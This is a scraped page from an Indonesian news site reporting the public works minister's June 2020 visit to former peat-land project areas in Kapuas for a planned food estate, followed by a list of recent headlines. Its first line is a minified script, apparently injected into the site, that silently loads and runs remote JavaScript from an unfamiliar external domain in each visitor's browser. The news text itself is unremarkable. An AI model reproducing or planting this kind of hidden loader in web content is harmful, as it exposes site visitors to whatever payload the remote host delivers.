(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Menteri PUPR Tinjau Lahan Eks PLG di Kapuas untuk Proyek Ketahanan Pangan


KANALKALIMANTAN. COM, KUALA KAPUAS – Kawasan Pembukaan Lahan Gambut (PLG) yang dulu pernah dibuka saat proyek lahan sejuta hektare kembali ditinjau Menteri PUPR Basoeki Hadimoeljono, Sabtu (13/6/2020).

Manteri yang pernah bertugas selama 2 tahun di Kabupaten Kapuas ini, mengunjungi kantor tempat kerjanya dulu, setelah itu ke rumah jabatan Bupati Kapuas. Basoeki bernostalgia di depan kantor yang pernah menjadi tempatnya bekerja.

Ia mengatakan, ada prediksi kekeringan dari FAO (organisasi pangan sedunia), sehingga menyebabkan kekurangan pangan. BMKG mengabarkan kalau ketersediaan air di Kalimantan Tengah cukup mendukung untuk pengembangan pertanian.

Setelah menelusuri beberapa daerah, maka diputuskan untuk Kalimantan Tengah yaitu daerah eks PLG di Kecamatan Dadahup, Kabupaten Kapuas. Di tempat tersebut, nantinya akan dicanangkan sebagai pengembangan ketahanan pangan melalui penyiapan lahan food estate.

Namun demikian, lokasinya akan dicari yang bukan lahan gambut dengan total lahan 164.000 hektare akan dihidupkan lagi. Lokasinya tepi sungai Kapuas dan Barito, mulai dari Palingkau, Dadahup, Terusan hingga ke Anjir Serapat.

“Saya dulu di sini pernah bekerja selama 2 tahun sebagai deputi yang terkait Lahan Gambut. Pada kesempatan ini saya akan mengupdate data kondisi sekarang. Dari 164.000 hektare ada 85.000 hektare yang digarap sedang sisanya 79.000 hektare menjadi semak belukar,” terang Basoeki.

Ia menjelaskan, nantinya akan land clearing, tapi tidak perlu cetak sawah. Karena sebenarnya sudah ada. Lahan yang sudah digarap akan ditingkatkan lagi intensitasnya, produksinya akan meningkat dengan perbaikan irigasi. Mulai di garap sekarang, dan diadakan perbaikan dengan maksimum 2 tahun sudah selesai.

“Artinya dengan peninjauan lahan eks PLG non gambut itu, nantinya akan kita rehabilitasi lagi, untuk memanfaatkan lahan yang ada dan terbengkalai,” pungkas Basoeki. (Kanalkalimantan/ags)

 

Reporter : Ags
Editor : Cell

 


Desy Arfianty

Recent Posts

PKS Banjarbaru Buka Penjaringan, Siap Koalisi Tawarkan Kader Sendiri

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pimpinan Darah Partai Keadilan Sejahtera (PKS) Kota Banjarbaru membuka pendaftaran bakal… Read More

2 jam ago

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

15 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

16 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

16 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

20 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

22 jam ago

This website uses cookies.